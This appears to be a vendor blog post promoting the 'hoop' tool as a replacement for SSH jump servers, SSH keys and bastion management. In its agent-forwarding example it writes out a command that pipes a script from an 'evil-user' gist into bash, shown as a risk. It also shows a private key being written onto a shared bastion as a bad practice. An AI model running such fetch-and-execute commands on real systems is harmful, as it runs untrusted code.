How to Replace Jump Servers & SSH Keys With JWT Tokens

Today we're going to talk about how jump servers work and how hoop can be a great alternative to them.

Jump Servers are nodes that will grant access to your underline infra-structure services. Imagine that someone from your company need to access a database or an application inside your internal infra-structure. Instead of allowing anyone in the internet to access these services, the bastion host acts as a central instance to access them securely.

The problem begins when things start to scale.

• Jump Servers must be able to reach to a certain private network and this requires specific configuration for each environment;
• Nodes must be updated with the latest security patches, since it's open to internet;
• Burden of managing SSH keys of users throughout all nodes. Rotation is required when someone leaves or enter the organization;
• Role management requires managing sudoers files, making sure file system permissions are properly configured and users are within their proper groups;
• Nodes must be updated with the tooling necessary to interact with internal services.
• Keep a list of updated services (DNS) available to interact with it

Administrators interact with these servers often using automation tools like terraform, packer, ansible.

Usually, infrastructure enginners are a scarce team and keeping all these components updated are hard to tackle. Over time, these nodes will onboard more users and tooling, which will increase the complexity over managing these resources.

Nodes must have a list of services available for users to interact with them. It could be a static file, a known dns name or a documentation about how to interact with these servers and how to reach them.

If SSH keys aren't rotated properly, nodes may be vulnerable to exploits. Often, this requires additional modules or services to help on keeping keys safely rotated.

SSH has a lot of advanced features which aren't well known to users. In some scenarios, a user may leak his own private key, storing it in the bastion to jump to other internal nodes. Due to the lack of knowledge of how SSH works.

$ ssh bob@jump-server
$ echo '<USER-PRIVATEKEY>' > ~/.ssh/id_rsa
$ ssh bob@internal-node

Allowing users to jump to internal nodes, requires tracking their changes to internal systems. It's very hard to track how users interact with these services and what exactly is being executed.

# SSH Agent Forwarding
$ ssh -A bob@jump-server
$ ssh bob@internal-node
$ curl https://gist.github.com/evil-user/evil-script | bash

Auditing and limiting how users access internal services is also a problem, additional solutions are required to narrow down their scope in jump servers.

How about User Experience?

Developers interact with jump servers using a ssh-client, which has the capability of interacting and exposing internal services. However, this tool isn't trivial to use and users tend to misuse or not use the full potential of it, due to its lack of user experience.

Extracting data from a specific internal service may not seem something trivial at first, depending on how you access it. Let's suppose that this service is in another server. An SSH connection needed to be made to the jump server and them to the other one. The last step is executing a command to dump the contents to a file. This task could be made with scp, which can copy the contents to your local machine.

1. Connect to the jump server forwarding the ssh key;
2. Connect to the internal server and execute a script;
3. Copy the contents of the output to the jump server using scp and exit from the jump server
4. Use scp in your local machine to copy the file from the jump server

$ ssh -A bob@jump-server
$ ssh bob@internal-server '/usr/local/bin/myscript.sh > output.csv'
$ scp bob@internal-server:output.csv . && exit
$ scp bob@jump-server:output.csv .

The example above is the naive approach to solve this problem. It's up to the user to discover more clever ways to copy files from internal nodes through a jump server.

To forward ports locally, an SSH tunneling could be created to access services in a local machine.

$ ssh -N bob@jump-server -L 8080:internal-web-server:3000

Depending on which services are exposed, there isn't an easy way to have a more local experience. Sometimes, users are required to interact with internal services within a jump server, limiting their user experience.

To interact with any internal service, a user also needs to known in advance the name of the DNS for internal services and which ports are available

$ ssh -A bob@jump-server
$ ssh bob@????

All these interactions leaves traces in those systems, which is a problem to organizations. A file containing sensitive data copied from an internal server, or even a password persisted in a /tmp/ directory could leak in this shared environment.

How hoop can help

While operators still need to grant access to the underline infra-structure with hoop, this process is more straightforward in most of the cases. Instead of managing bastion servers and all the tools inside of it, operators take care of managing agents, that has all the necessary tooling and primitives to interact with any infra-structure.

Authentication is integrated with SSO, allowing security administrators to suspend access to users directly in their own identity platform system.

The process of managing SSH keys, user roles, sudoers files, name servers of bastions and internal services are now gone. Operators just need to deploy agents in their internal network infra-structure and manage connections resources granting granular access to individual services.

For each service exposed, operators have the capability to enable certain plugins that allows modifying certain aspects of a connection like: auditing, redacting, append commands or any available metadata.

For developers, it decreases the amount of tooling required to interact with internal services improving the user experience. Now developers interact directly with the things that really matter for them to perform their daily tasks in a single interface. Instead of jumping through a bunch of hosts in a bastion via SSH.

• Connect to a postgres instance in a local port

$ hoop connect postgres-prod

• Port Forward an internal API

$ hoop connect my-internal-api -p 8000

• Create an interactive rails console or django session

$ hoop connect rails-console-homolog
$ hoop connect django-prod

• Execute a script directly to a rails application

$ hoop exec rails-exec-prod <<EOF
puts Rails.env
EOF